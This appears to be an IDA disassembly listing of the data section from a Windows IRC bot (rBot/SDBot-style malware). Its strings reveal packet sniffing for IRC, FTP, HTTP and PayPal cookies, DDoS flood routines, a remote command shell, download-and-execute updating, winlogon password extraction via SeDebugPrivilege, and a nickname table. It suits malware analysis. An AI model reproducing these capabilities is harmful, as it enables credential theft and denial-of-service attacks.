		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437744	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43777C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377B4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377E8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43781C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437850	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437880	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378D4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AFC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EEC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437F00	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F38	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F4C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F60	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F7C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FFC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438020	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438038	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438064	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438088	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_4380A0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380B8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380D8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380FC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438120	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43814C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43816C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43819C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381CC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381F8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43822C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438270	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43828C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382C4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382EC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438318	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438340	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438368	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383B8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383BC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383D0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43840C	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438448	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384B8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384EC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438518	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438550	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_4385AC	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385C4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438688	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386D4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438724	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438778	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		and	al, 93h
		inc	ebx
		add	[eax-53FFBD4Fh], dl
		mov	byte ptr [edx+0], 28h
		mov	byte ptr [edx+0], 20h
		xchg	eax, ebx
		inc	ebx
		add	ah, dl
		scasd
		inc	edx
		add	[esi+eax*8+42h], bh
		add	[eax+200042AFh], dh
		mov	dl, 42h
		add	[esi+eax*8-6CE3FFBEh], al
		inc	ebx
		add	[eax], bl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], dl
		inc	ebx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[eax+700042B7h], cl
		mov	bh, 42h
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_43930C
		dd offset dword_439308
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_439304
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_439300
		dd offset dword_4392FC
		dd offset dword_4392F8
		dd offset dword_4392F4
		dd offset dword_4392F0
		dd offset word_4392EC
		dd offset dword_4392E8
		dd offset aI_0		; "I"
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset aA_0		; "A"
		dd offset dword_4392DC
		dd offset dword_4392D8
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset word_4392A8
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439040
		dd offset off_43903C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438EA8
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
